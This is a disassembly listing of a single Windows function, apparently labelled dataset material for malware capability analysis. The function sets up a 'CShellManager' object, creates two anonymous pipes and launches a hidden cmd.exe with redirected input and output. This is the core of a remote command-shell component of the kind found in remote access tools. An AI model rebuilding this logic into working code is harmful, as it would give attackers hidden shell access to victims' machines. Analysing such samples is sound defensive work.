Function at 0x10008d30
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024aeb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x180
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x134], edi
mov eax, dword [ebx + 8]
push 0
push 0
mov dword [ebp - 0x138], edi
push 1
mov dword [edi], vtable.CManager.0
mov dword [edi + 4], eax
push 0
mov dword [eax + 0xb8], edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 8], eax
push 0x44
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [edi], vtable.CShellManager.0
call fcn.100146a0
add esp, 0xc
lea eax, [ebp - 0x120]
xorps xmm0, xmm0
movups xmmword [ebp - 0x148], xmm0
push 0x104
push 0
push eax
call fcn.100146a0
add esp, 0xc
mov byte [edi + 0x34], 0
lea edx, [ebp - 0x130]
mov dword [edi + 0x10], 0
lea eax, [edi + 0x1c]
mov dword [edi + 0x14], 0
lea ecx, [edi + 0x10]
mov dword [edi + 0x18], 0
push 0
push edx
push eax
lea esi, [edi + 0x18]
mov dword [eax], 0
push ecx
mov dword [ebp - 0x130], 0xc
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10008e60
mov eax, dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10008e4d
push eax
call esi
mov eax, dword [edi + 0x1c]
test eax, eax
je 0x10008fdd
push eax
call esi
jmp 0x10008fdd
push 0
lea eax, [ebp - 0x130]
push eax
lea eax, [edi + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10008e9b
mov eax, dword [edi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10008e88
push eax
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x10008fdd
push eax
call esi
jmp 0x10008fdd
push 0x44
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.100146a0
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov dword [ebp - 0x190], 0x44
mov word [ebp - 0x160], ax
mov eax, dword [esi]
mov dword [ebp - 0x158], eax
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x120]
push 0x104
push eax
mov dword [ebp - 0x164], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x120]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10008f08
mov eax, dword [str.cmd.exe]
mov dword [ecx], eax
mov eax, dword [0x1002e5f0]
mov dword [ecx + 4], eax
mov al, byte [0x1002e5f4]
mov byte [ecx + 8], al
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10008f72
push dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x14]
call esi
push dword [edi + 0x18]
call esi
push dword [edi + 0x1c]
call esi
jmp 0x10008fdd
mov eax, dword [ebp - 0x148]
mov ecx, edi
mov dword [edi + 0x20], eax
mov eax, dword [ebp - 0x144]
mov dword [edi + 0x24], eax
lea eax, [ebp - 0x121]
push 1
push eax
mov byte [ebp - 0x121], 0x80
call fcn.10006760
push 0xffffffffffffffff
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
sub esp, 8
push edi
push 0x10009120
call fcn.10009c10
add esp, 0x14
mov dword [edi + 0x28], eax
push 0
sub esp, 8
push edi
push 0x10009230
call fcn.10009c10
add esp, 0x14
mov dword [edi + 0x2c], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4